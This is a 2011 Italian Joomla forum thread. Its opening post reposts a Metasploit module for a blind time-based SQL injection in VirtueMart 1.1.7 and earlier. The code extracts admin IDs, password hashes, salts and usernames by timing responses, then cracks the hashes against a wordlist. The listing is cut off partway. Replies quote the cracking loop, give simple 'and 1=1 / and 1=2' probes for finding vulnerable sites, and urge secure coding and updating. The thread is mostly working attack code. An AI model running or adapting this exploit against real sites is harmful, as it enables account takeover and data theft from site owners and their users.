Back to top

Autore Topic: Joomla Component VirtueMart < 1.1.7 SQL Injection (MSF)  (Letto 8637 volte)

Offline jeckodevelopment

  • Administrator
  • Instancabile
  • *****
  • Post: 5695
  • Sesso: Maschio
    • Mostra profilo
Joomla 1.5 com_virtuemart <= 1.1.7 Blind time-based SQL Injection (MSF)
Si consiglia di aggiornare VirtueMart alla versione 1.1.9

Citazione
# Exploit Title: Joomla 1.5 com_virtuemart <= 1.1.7 blind time-based sql injection MSF module
# Date: Thu Jul 28, 2011
# Version: <= 1.1.7
# Download: http://dev.virtuemart.net/projects/virtuemart/files


require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = GreatRanking
   
    include Msf::Exploit::Remote::HttpClient
   
    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'Joomla 1.5 VirtueMart Component <= 1.1.7 Blind SQL Injection',
            'Description'    => %q{
            A vulnerability was discovered by Rocco Calvi and Steve Seeley which identifies
            unauthenticated time-based blind SQL injection in the "page" variable of the
            virtuemart component. This vulnerability allows an attacker to gain information
            from the database with specially crafted URLs taking advantage of the MySQL
            benchmark. This issue was patched in version 1.1.7a.
            },
            'Author'         =>
                [
                    'TecR0c',  #Initial discovery, msf module
                    'mr_me',  #Initial discovery with TecR0c
                ],
            'License'        =>  MSF_LICENSE,
            'References'     =>
                [
                    [ 'URL', 'http://www.exploit-db.com/exploits/17132/' ],
                    [ 'URL','http://www.stratsec.net/Research/Advisories/' ],
                ],
            'Privileged'     =>  false,
            'Platform'       => 'php',
            'Arch'           =>  ARCH_PHP,
            'Targets'        => [[ 'Automatic', { }]],
            'DisclosureDate' => 'Feb 11 2011',
            'DefaultTarget'  => 0 ))
           
            register_options(
                [
                    OptString.new('JDIR', [true, 'Joomla directory', '/']),
                    OptInt.new('BMCT', [true, 'Benchmark Counter', 50000000 ]),
                    OptInt.new('BMDF', [true, 'Benchmark Difference', 3 ]),
                    OptInt.new('BMRC', [true, 'Benchmark Request Count', 1 ]),
                    OptString.new('WLIST', [true,
                                'Wordlist location',
                                 '/home/foo/bar.txt'
                                ]),
                    OptString.new('AGNT', [false, 'User Agent Info', 'Mozilla/5.0' ]),
                    OptString.new('PREF', [false, 'Database prefixt', 'jos_' ]),
                    OptString.new('JQRY', [false,
                                'URI to trigger bug',
                                'index.php?option=com_virtuemart&page=1'
                                ])
                ], self.class)
    end
    #################################################
    # Extract "Set-Cookie"
    def init_cookie(data, cstr = true)
   
        # Raw request? Or cookie data specifically?
        data = data.headers['Set-Cookie'] ? data.headers['Set-Cookie']: data
       
        # Beginning
        if ( data )
           
            # Break them apart
            data = data.split(', ')
           
            # Initialize
            ctmp = ''
            tmps = {}
           
            # Parse cookies
            data.each do | x |
           
                # Remove extra data
                x = x.split(';')[0]
               
                # Seperate cookie pairs
                if ( x =~ /([^;\s]+)=([^;\s]+)/im )
                   
                    # Key
                    k = $1
                   
                    # Val
                    v = $2
                   
                    # Valid cookie value?
                    if ( v.length() > 0 )
                   
                        # Build cookie hash
                        tmps[k] = v
                       
                        # Report cookie status
                        print_status("Got Cookie: #{k} => #{v}");
                    end
                end
            end
           
            # Build string data
            if ( cstr == true )
               
                # Loop
                tmps.each do |x,y|
                   
                    # Cookie key/value
                    ctmp << "#{x}=#{y};"
                end
               
                # Assign
                tmps['cstr'] = ctmp
            end
           
            # Return
            return tmps
        else
            # Something may be wrong
            init_debug("No cookies within the given response")
        end
    end
   
    #################################################
   
    # Simple debugging output
    def init_debug(resp, exit = 0)
   
        # Continue execution
        if ( exit.to_i > 0 )
       
            # Exit
            exit(0)
        end
       
    end
   
    #################################################
   
    # Generic post wrapper
    def http_post(url, data, headers = {}, timeout = 15)
   
        # Protocol
        proto = datastore['SSL'] ? 'https': 'http'
       
        # Determine request url
        url = url.length ? url: ''
       
        # Determine User-Agent
        headers['User-Agent'] = headers['User-Agent']  ?
        headers['User-Agent'] : datastore['AGNT']
       
        # Determine Content-Type
        headers['Content-Type'] = headers['Content-Type'] ?
        headers['Content-Type'] : "application/x-www-form-urlencoded"
       
        # Determine Content-Length
        headers['Content-Length'] = data.length
       
        # Determine Referer
        headers['Referer'] = headers['Referer']        ?
        headers['Referer'] : "#{proto}://#{datastore['RHOST']}#{datastore['JDIR']}"
       
        # Delete all the null headers
        headers.each do | hkey, hval |
           
            # Null value
            if ( !hval )
           
                # Delete header key
                headers.delete(hkey)
            end
        end
       
        # Send request
        resp = send_request_raw(
        {
            'uri'     => datastore['JDIR'] + url,
            'method'  => 'POST',
            'data'    => data,
            'headers' => headers
        },
        timeout    )
           
           
        # Returned
        return resp
   
    end
   
    #################################################
   
    # Generic post multipart wrapper
    def http_post_multipart(url, data, headers = {}, timeout = 15)
       
        # Boundary string
        bndr =  Rex::Text.rand_text_alphanumeric(
       
        # Protocol
        proto = datastore['SSL'] ? 'https': 'http'
   
        # Determine request url
        url = url.length ? url: ''
       
        # Determine User-Agent
        headers['User-Agent'] = headers['User-Agent']  ?
        headers['User-Agent'] : datastore['AGNT']
       
        # Determine Content-Type
        headers['Content-Type'] = headers['Content-Type'] ?
        headers['Content-Type'] : "multipart/form-data; boundary=#{bndr}"
       
        # Determine Referer
        headers['Referer'] = headers['Referer']        ?
        headers['Referer'] : "#{proto}://#{datastore['RHOST']}#{datastore['JDIR']}"
       
        # Delete all the null headers
        headers.each do | hkey, hval |
       
            # Null value
            if ( !hval )
           
                # Delete header key
                headers.delete(hkey)
            end
        end
       
        # Init
        temp = ''
       
        # Parse form values
        data.each do |name, value|
       
            # Hash means file data
            if ( value.is_a?(Hash) )
               
                # Validate form fields
                filename = value['filename'] ? value['filename']:
                         init_debug("Filename value missing from #{name}", 1)
                contents = value['contents'] ? value['contents']:
                         init_debug("Contents value missing from #{name}", 1)
                mimetype = value['mimetype'] ? value['mimetype']:
                         init_debug("Mimetype value missing from #{name}", 1)
                encoding = value['encoding'] ? value['encoding']: "Binary"
               
                # Build multipart data
                temp << "--#{bndr}\r\n"
                temp << "Content-Disposition: form-data; name=\"#{name}\"
                    ; filename=\"#{filename}\"\r\n"
                temp << "Content-Type: #{mimetype}\r\n"
                temp << "Content-Transfer-Encoding: #{encoding}\r\n"
                temp << "\r\n"
                temp << "#{contents}\r\n"
               
            else
                # Build multipart data
                temp << "--#{bndr}\r\n"
                temp << "Content-Disposition: form-data; name=\"#{name}\";\r\n"
                temp << "\r\n"
                temp << "#{value}\r\n"
            end
        end
       
        # Complete the form data
        temp << "--#{bndr}--\r\n"
       
        # Assigned
        data = temp
       
        # Determine Content-Length
        headers['Content-Length'] = data.length
       
        # Send request
        resp = send_request_raw(
        {
            'uri'     => datastore['JDIR'] + url,
            'method'  => 'POST',
            'data'    => data,
            'headers' => headers
        },
        timeout)
       
        # Returned
        return resp
       
    end
   
    #################################################
   
    # Generic get wrapper
    def http_get(url, headers = {}, timeout = 15)
       
        # Protocol
        proto = datastore['SSL'] ? 'https': 'http'
       
        # Determine request url
        url = url.length ? url: ''
       
        # Determine User-Agent
        headers['User-Agent'] = headers['User-Agent']  ?
        headers['User-Agent'] : datastore['AGNT']
       
        # Determine Referer
        headers['Referer'] = headers['Referer']        ?
        headers['Referer'] : "#{proto}://#{datastore['RHOST']}#{datastore['JDIR']}"
       
        # Delete all the null headers
        headers.each do | hkey, hval |
       
            # Null value // Also, remove post specific data, due to a bug ...
            if ( !hval || hkey == "Content-Type" || hkey == "Content-Length" )
           
                # Delete header key
                headers.delete(hkey)
            end
        end
       
       
        # Send request
        resp = send_request_raw({
            'uri'     => datastore['JDIR'] + url,
            'headers' => headers,
            'method'  => 'GET',
        }, timeout)
       
        # Returned
        return resp
       
    end
   
    #################################################
   
   
    # Used to perform benchmark querys
    def sql_benchmark(test, hdrs, table = nil, where = '1+LIMIT+1', tnum = nil )
   
        # Init
        wait = 0
       
        # Defaults
        table = table ? table: 'users'
       
        # SQL Injection string used to trigger the MySQL BECNHMARK() function
        sqli = ("'+UNION+SELECT+IF(#{test},+BENCHMARK(#{datastore['BMCT']},\
+MD5(1)),+0)+FROM+#{datastore['PREF']}#{table}+WHERE+#{where}--+sqli.page")
       
        # Number of tests to run. We run this
        # amount of tests and then look for a
        # median value that is greater than
        # the benchmark difference.
        tnum = tnum ? tnum: datastore['BMRC']
       
        # Run the tests
        tnum.to_i.times do | i |
       
            # Start time
            bmc1 = Time.now.to_i
           
            # Make the request
           
           
            init_debug(http_get("#{datastore['JQRY']}#{sqli}", hdrs))
            # End time
            bmc2 = Time.now.to_i
           
           
            # Total time
            wait += bmc2 - bmc1
        end
       
        # Return the results
        return ( wait.to_i / tnum.to_i )
       
    end
   
   
    #################################################
   
   
    # Used to perform benchmark querys
    def sql_benchmark_2(hdrs, columns = nil, table = nil, where = '1+LIMIT+1', tnum = nil )
   
        # Init
        wait = 0
       
        # Defaults
        table = table ? table: 'users'
       
        # SQL Injection string used to trigger the MySQL BECNHMARK() function
        sqli = (
"'+UNION+SELECT+IF(substring((select+#{columns}+FROM+#{datastore['PREF']}#{table}+WHERE+#{where}),1,1),BENCHMARK(#{datastore['BMCT']},+MD5(1)),+0)--+sqli.page")
       
        # Number of tests to run. We run this
        # amount of tests and then look for a
        # median value that is greater than
        # the benchmark difference.
        tnum = tnum ? tnum: datastore['BMRC']
       
        # Run the tests
        tnum.to_i.times do | i |
       
            # Start time
            bmc1 = Time.now.to_i
           
            # Make the request
           
           
            init_debug(http_get("#{datastore['JQRY']}#{sqli}", hdrs))
            # End time
            bmc2 = Time.now.to_i
           
           
            # Total time
            wait += bmc2 - bmc1
        end
       
        # Return the results
        return ( wait.to_i / tnum.to_i )
       
    end
   
   
    #################################################
   
   
    def get_password(hash, salt, opts = nil)
   
        # Wordlist
        wlst = datastore['WLIST']
       
        # Init
        cntr = 0
           
        # Verbose
        print_status("Attempting to crack admin password hash")
       
        # Valid hash length only
        if ( hash.length != 32 )
       
            # Failure
            print_error("Invalid Joomla MD5 hash: #{hash.to_s}")
            return nil
        end
       
        # Does the wordlist exist?
        if ( !File.exist?(wlst) )
       
            # Failure
            print_error("Unable to load wordlist: #{wlst}")
            return nil
        else
           
            # Load the wordlist file
            list = File.readlines(wlst)
        end
       
        # Verbose
        print_status("Loaded #{list.count.to_s} words from the specified list")
        print_status("This may take quite some time ...")
       
        # Start time
        bmc1 = Time.now.to_i
       
        # Loop through list
        list.each do | word |
       
            # Cleanup
            word = word.strip
           
            # Counter
            cntr = cntr + 1
           
            # Attempt to find the plaintext password
            if ( hash == Rex::Text.md5(word + salt) )
           
                # Success!
                print_status("Successfully cracked the following hash")
                print_status("#{hash} => #{salt} == #{word}")
               
                # Ended time
                bmc2 = Time.now.to_i
               
                # Duration
                bmc3 = bmc2 - bmc1
                bmc3 = ( bmc3 < 60 ) ? "#{bmc3} seconds": "#{(bmc3/60)} minutes"
               
                # Verbose
                print_status("Operation completed in #{bmc3}")
               
                # Return
                return word
            end # if
        end # each
       
        # Failure
        print_error("Unable to crack the following hash")
        print_error("#{hash} => #{salt} ==")
       
        # Ended time
        bmc2 = Time.now.to_i
       
        # Duration
        bmc3 = bmc2 - bmc1
        bmc3 = ( bmc3 < 60 ) ? "#{bmc3} seconds": "#{(bmc3/60)} minutes"
       
        # Verbose
        print_status("Operation completed in #{bmc3}")
       
        # Return
        return nil
    end
   
    #################################################
   
    def get_users_data(hdrs, snum, slim, cset, sqlf, sqlw)

            # Start time
            tot1 = Time.now.to_i
           
            # Initialize
            reqc = 0
            retn = String.new
               
            # Extract salt
            for i in snum..slim
           
                # Offset position
                oset = ( i - snum ) + 1
   
                # Loop charset
                for cbit in cset
   
                    # Test character
                    cbit.each do | cchr |
   
                        # Start time (overall)
                        bmc1 = Time.now.to_i
   
                        # Benchmark query
                        bmcv = sql_benchmark("SUBSTRING(#{sqlf},#{i},1)+LIKE+BINARY+CHAR(#{cchr.ord})",
                        hdrs,"users", sqlw, datastore['BMRC'])
   
                        # Noticable delay? We must have a match!
                        if ( bmcv >= ( datastore['BMC0'] + datastore['BMDF'].to_i ) )
   
                            # Verbose
                            print_status(sprintf("Character %02s is %s", oset.to_s, cchr ))
   
                            # Append chr
                            retn << cchr
   
                            # Exit loop
                            break
                        end
   
                        # Counter
                        reqc += 1
   
                    end # each
                end # for
   
                # Host not vulnerable?
                if ( oset != retn.length )
                   
                    # Failure
                    print_error("Unable to extract character ##{oset.to_s}\
                    . Extraction failed!")
                    return nil
                end
            end # for
   
            # End time (total)
            tot2 = Time.now.to_i
   
            # Benchmark totals
            tot3 = tot2 - tot1
   
            # Verbose
            print_status("Found data: #{retn}")
            print_status("Operation required #{reqc.to_s} requests (#{( tot3 / 60).to_s} minutes)")
           
            # Return
            return retn
    end
   
    #################################################
   
    def check

                print_status("Attempting to determine virtuemart version")

                resp = http_get("modules/mod_virtuemart_currencies/mod_virtuemart_currencies.xml")

                # Extract Joomla version information
                if ( resp.body =~ /<version>([^\s]+)<\/version>/ )

                        # Version
                        vers = $1.strip

                        # Version "parts"
                        ver1, ver2, ver3 = vers.split(/\./)

                        # Only if version 1.1.7
                        if ( ver3.to_i >= 7)

                                # Exploit failed
                                init_debug(resp)
                print_status("Please confirm manually")
                return Exploit::CheckCode::Safe
                        else

                                print_status("The target is running VirtueMart : #{vers}")
                return Exploit::CheckCode::Vulnerable
                        end
                else

                        # Verbose
                        print_error("Unable to determine Joomla version ...")
                end

    end
   
    #################################################
    def exploit
   
        # Numeric test string
        tstr = Time.now.to_i.to_s

        # MD5 test string
        tmd5 = Rex::Text.md5(tstr)
   
        # Encoded payload
        load = payload.encoded
       
        #################################################
        # STEP 02 // Get the cookie for virtuemart
        #################################################

        # request to get virtuemart cookie
        resp = http_get("index.php?option=com_virtuemart&page=1")

        # Init cookie
        cook = init_cookie(resp)

        # Build headers for authenticated session
        hdrs = { "Cookie" => cook['cstr'] }

        #################################################
        # STEP 03 // Calculate BENCHMARK() response times
        #################################################

        # Verbose
        print_status("Calculating target response times")
        print_status("Benchmarking #{datastore['BMRC']} normal requests")
       

        # Normal request median (globally accessible)
        datastore['BMC0'] = sql_benchmark("1=2", hdrs)
       
        # Verbose
        print_status("Normal request avg: #{datastore['BMC0'].to_s} seconds")
        print_status("Benchmarking #{datastore['BMRC']} delayed requests")

        # Delayed request median
        bmc1 = sql_benchmark("1=1", hdrs)

        # Verbose
        print_status("Delayed request avg: #{bmc1.to_s} seconds")

        # Benchmark totals
        bmct = bmc1 - datastore['BMC0']

        # Delay too small. The host may not be
        # vulnerable. Try increasing the BMCT.
        if ( bmct.to_i < datastore['BMDF'].to_i )

            # Verbose
            print_error("your benchmark threshold is small, or host is not vulnerable")
            print_error("increase the benchmark threshold adjust the value of the BMDF")
            print_error("increase the expression iterator adjust the value of the BMCT")
            return
        else
            # Host appears exploitable
            print_status("Request Difference: #{bmct.to_s} seconds")
        end

        #################################################
        # STEP 04 // Attempting to find a valid admin id
        #################################################
       
        atot = 0     # Total admins
        scnt = 0     # Step counter
        step = 10    # Step increment
        slim = 10000 # Step limit
       
        # 42 is the hard coded base uid within Joomla ...
        # ... and the answer to the ultimate question! ;]
        snum = ( !defined?(auid) ) ? 62: auid # changed from 42 to 62
       
        # Verbose
        print_status("Calculating total number of administrators")
       
        # Check how many admin accounts are in the database
        for i in 0..slim do

            # Benchmark
            bmcv = sql_benchmark_2(hdrs, "gid", "users", "gid=25+LIMIT+#{i.to_s},1",datastore['BMRC'])
           
            # If we do not have a delay, then we have reached the end ...
            if ( !( bmcv >= ( datastore['BMC0'] + datastore['BMDF'].to_i ) ) )

                # Range
                atot = i
               
                # Verbose
                print_status("Successfully confirmed #{atot.to_s} admin accounts")

                # Exit loop
                break
            end
        end
           
        # Loops until limit
        while ( snum < slim && scnt < atot )
   
            # Verbose
            print_status("Attempting to find a valid admin ID")
           
            # Verbose
            print_status("Stepping from #{snum.to_s} to #{slim.to_s} by #{step.to_s}")
   
            for i in snum.step(slim, step)
                bmcv = 0
               
   
                # Benchmark
                bmcv = sql_benchmark("#{i}+>+id", hdrs, "users","gid=25+LIMIT+#{scnt.to_s},1", datastore['BMRC'])

                # Noticable delay? We must have a match!
                if ( bmcv >= ( datastore['BMC0'] + datastore['BMDF'].to_i ) )
   
                    # Range
                    itmp = i
   
                    # Exit loop
                    break
                else
                   
                    # Out of time ..
                    if ( i == slim )
                   
                        # Failure
                        print_error("Unable to find a valid user id. Exploit failed!")
                        return
                    end
                   
                end
            end
   
            # Jump back by #{step} and increment by one
            for i in ( snum ).upto(( itmp ))
                bmcv = 0
                auid = 0

   
                # Benchmark
                bmcv = sql_benchmark("id+=+#{i}", hdrs, "users", "gid=25",
                datastore['BMRC'])
   
                # Noticable delay? We must have a match!
                if ( bmcv >= ( datastore['BMC0'] + datastore['BMDF'].to_i ) )
   
                    # UserID - first time auid gets set to 62
                    auid = i
   
                    # Verbose
                    print_status("Found a valid admin account uid : #{auid.to_s}")
                   
                    # Step Counter
                    scnt += 1
   
                    # Exit loop
                    break
                else
                   
                    # Out of time ..
                    if ( i == ( itmp + step ) )
                   
                        # Failure
                        print_error("Unable to find a valid user id. Exploit failed!")
                        return
                    end
                end
            end
           
            #################################################
            # These are the charsets used for the enumeration
            # operations and can be easily expanded if needed
            #################################################
   
            # Hash charset a-f0-9
            hdic = [ ('a'..'f'), ('0'..'9') ]
   
            # Salt charset a-zA-Z0-9
            sdic = [ ('a'..'z'), ('A'..'Z'), ('0'..'9') ]
           
            # Username charset
            udic = [ ('a'..'z'), ('A'..'Z'), ('0'..'9') ]
       
            #################################################
            # STEP 05 // Attempt to extract admin pass hash
            #################################################
   
            # Verbose
            print_status("Attempting to gather admin password hash")
           
            # Get pass hash - changed bs
            if ( auid != 0 && !( hash = get_users_data(
                            hdrs,             # Pass cookie value
                            1,                # Length Start
                            32,               # Length Maximum
                            hdic,             # Charset Array
                            "password",       # SQL Field name
                            "id=#{auid.to_s}" # SQL Where data
                            ) ) )
                           
                # Failure
                print_error("Unable to gather admin pass hash. Exploit failed!!")
                return
            end
            #################################################
            # STEP 06 // Attempt to extract admin pass salt
            #################################################
           
            # Verbose
            print_status("Attempting to gather admin password salt")
           
            # Get pass salt - changed bs
            if ( auid != 0 && !( salt = get_users_data(
                            hdrs,             # Pass cookie value
                            34,               # Length Start
                            65,               # Length Maximum
                            sdic,             # Charset Array
                            "password",       # SQL Field name
                            "id=#{auid.to_s}" # SQL Where data
                            ) ) )
                           
                # Failure
                print_error("Unable to gather admin pass salt. Exploit failed!!")
                return
            end

            #################################################
            # STEP 07 // Attempt to crack the extracted hash
            #################################################
   
            # Attempt to crack password hash - changed bs
            if ( auid != 0 )
                pass = get_password(hash, salt)
            end
   
            # Got pass? - changed bs
            if ( auid != 0 && pass )

                #################################################
                # STEP 08 // Attempt to extract admin username
                #################################################
               
                # Verbose
                print_status("Attempting to determine target username length")
               
                # Hard limit is 150
                for i in 1.upto(150)
       
                    # Benchmark
                    bmcv = sql_benchmark("LENGTH(username)=#{i.to_s}", hdrs,
                    "users", "id=#{auid.to_s}", datastore['BMRC'])
       
                    # Noticable delay? We must have a match!
                    if ( bmcv >= ( datastore['BMC0'] + datastore['BMDF'].to_i ) )
       
                        # Length
                        ulen = i
                       
                        # Verbose
                        print_status("The username is #{i.to_s} characters long")
       
                        # Exit loop
                        break
                    end
                end
       
                # Verbose
                print_status('Gathering admin username')
       
                # Get pass salt
                if ( !( user = get_users_data(
                                hdrs,            # Pass cookie value
                                1,               # Length Start
                                ulen,               # Length Maximum
                                udic,             # Charset Array
                                "username",       # SQL Field name
                                "id=#{auid.to_s}" # SQL Where data
                                ) ) )
                               
                    # Failure
                    print_error("Unable to gather admin user name. Exploit failed!!")
                    return
                end

          &nbs
« Ultima modifica: 28 Lug 2011, 15:38:23 da jeckodevelopment »

mau_develop

  • Visitatore
Re:Joomla Component VirtueMart < 1.1.7 SQL Injection (MSF)
« Risposta #1 il: 28 Lug 2011, 15:30:55 »
bello, molto bello, si nota che non centrano i pischelletti :):)
..andare a pensare di sfruttare i benchmark sql è veramente pensare fuori dagli schemi :)

c'è un però che volevo sottolineare, come + o - ogni sqlinj, se non è permesso l'intoout, puoi solo mirare all'hash dell'admin, con il quale non ci fai nulla se non riesci a decriptarlo.
Quindi non è poi così scontato guadagnarsi l'admin del sito, infatti l'ultima parte non è detto che abbia successo:

      # Does the wordlist exist?
        if ( !File.exist?(wlst) )
            # Failure
            print_error("Unable to load wordlist: #{wlst}")
            return nil
        else
            # Load the wordlist file
            list = File.readlines(wlst)
        end   
        # Verbose
        print_status("Loaded #{list.count.to_s} words from the specified list")
        print_status("This may take quite some time ...")
        # Start time
        bmc1 = Time.now.to_i
        # Loop through list
        list.each do | word |
            # Cleanup
            word = word.strip
            # Counter
            cntr = cntr + 1
            # Attempt to find the plaintext password
            if ( hash == Rex::Text.md5(word + salt) )

M.

Offline jeckodevelopment

  • Administrator
  • Instancabile
  • *****
  • Post: 5695
  • Sesso: Maschio
    • Mostra profilo
Re:Joomla Component VirtueMart < 1.1.7 SQL Injection (MSF)
« Risposta #2 il: 28 Lug 2011, 15:37:45 »
oggi ho un brutto rapporto con il tag per l'inserimento del codice... non c'è modo di farlo funzionare...

mau_develop

  • Visitatore
Re:Joomla Component VirtueMart < 1.1.7 SQL Injection (MSF)
« Risposta #3 il: 02 Ago 2011, 13:17:38 »
"Estote parati"!
... chi ha fatto il boy scout ha familiarità con qs motto :) ...state pronti!

Se prima eravamo abituati a 2 o 3 tipologie di attacco a cui quasi tutto era riconducibile ora anche quelle un po più complesse cominciano a diventare pubbliche (vedi sopra)
.. or 1=1 è bello come avatar e basta, non serve, ma provate a ragionare su come patchare quella sopra... facile?
E non solo, può essere un buon proof of concept di cui comunque rimane il "concept" che potrebbe benissimo essere applicato in altri luoghi, su altri cms.

Sviluppare software secondo delle best practices è indispensabile... più di una volta su qs forum vengono richiesti modi curdi per raggiungere obbiettivi al di sopra delle nostre conoscenze!
Qual'è il rischio?
Finire in una di queste https://www.owasp.org/index.php/Category:Vulnerability
(tutte spiegate per chi si vuole fare una cultura)

A Las Vegas si parla anche di qs http://www.blackhat.com/html/bh-us-11/bh-us-11-briefings.html#Siddharth , anche se in realtà molte sono già nella owasp top ten da parecchio ... si vede che c'è ancora da fare e ancora da dire....

Quanti sviluppando un estensione si preoccupano di tutte queste cose?
Cosa siete in grado di garantire a voi stessi o al vostro cliente?

M.
« Ultima modifica: 02 Ago 2011, 13:20:33 da mau_develop »

Offline jeckodevelopment

  • Administrator
  • Instancabile
  • *****
  • Post: 5695
  • Sesso: Maschio
    • Mostra profilo
Re:Joomla Component VirtueMart < 1.1.7 SQL Injection (MSF)
« Risposta #4 il: 02 Ago 2011, 13:24:24 »
Sottolineo un concetto che Mau_develop ha espresso anche in un'altra discussione nella sez. Sviluppo di questo forum.

E' oltremodo importante approcciarsi come previsto dalle API di Joomla e dal MVC per evitare di finire in quell'elenco di vulnerabilità riportato sopra.
Tale approccio è fondamentale quando si sviluppano dei componenti o delle estensioni che hanno a che fare con il sistema di autenticazione dei CMS in quanto è necessario ricordare che anche l'admin (o gli admin) di un sito è un utente ed il suo profilo, in linea di principio, è uguale a quello degli altri utenti... chi ha un po' di memoria ricorderà la vuln. della gestione password dimenticata delle prime versioni di Joomla 1.5.x

Offline bertoandrea86

  • Appassionato
  • ***
  • Post: 433
  • Sesso: Maschio
  • siti coupongratuiti.com / gruppirock.it
    • Mostra profilo
Re:Joomla Component VirtueMart < 1.1.7 SQL Injection (MSF)
« Risposta #5 il: 08 Ago 2011, 00:51:05 »

.. or 1=1 è bello come avatar e basta, non serve,

Vorrei darti ragione, ma ci sono ancora siti con questa vulnerabilità:P
and 1=1
and 1=2
E trovi subito se è vulnerabile per poi iniziare a conoscere il numero delle tabelle, il nome della tabella, ecc...ecc...ecc...
Credimi che di siti ancora vulnerabili in questo ce ne sono molti, fatto dato da aziende che si proclamano esperte di web ma non sanno neanche cosa sia un injection nel 2011!

 



Web Design Bolzano Kreatif